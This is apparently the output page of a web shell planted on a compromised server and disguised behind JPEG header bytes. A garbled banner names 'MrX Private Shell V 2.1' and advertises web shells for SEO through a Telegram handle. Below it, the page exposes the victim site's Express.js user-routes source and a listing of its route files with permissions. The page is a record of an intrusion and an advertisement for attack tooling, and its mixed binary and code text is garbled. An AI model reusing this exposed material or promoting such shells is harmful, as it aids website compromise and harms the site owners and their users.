����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import express from "express";
import {
loginUser,
forgotPassword,
resetPassword,
} from "../controllers/userController.js";
import validateBody from "../middlewares/Validator.js";
import { userAuth } from "../middlewares/AuthMiddleware.js";
import {
userLoginSchema,
forgotPasswordSchema,
resetPasswordSchema,
} from "../validations/index.js";
const router = express.Router();
// Public routes
router.post("/login", validateBody(userLoginSchema), loginUser);
router.post(
"/forgot-password",
validateBody(forgotPasswordSchema),
forgotPassword
);
router.post(
"/reset-password",
validateBody(resetPasswordSchema),
resetPassword
);
// Protected routes (require authentication)
// router.use(userAuth);
// Add any protected user routes here
export default router;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accountsRoutes.js | File | 5.47 KB | 0644 |
|
| adminRoutes.js | File | 19.54 KB | 0644 |
|
| health.js | File | 255 B | 0644 |
|
| hrRoutes.js | File | 15.27 KB | 0644 |
|
| index.js | File | 573 B | 0644 |
|
| studentRoutes.js | File | 4.82 KB | 0644 |
|
| teacherRoutes.js | File | 8.8 KB | 0644 |
|
| userRoutes.js | File | 794 B | 0644 |
|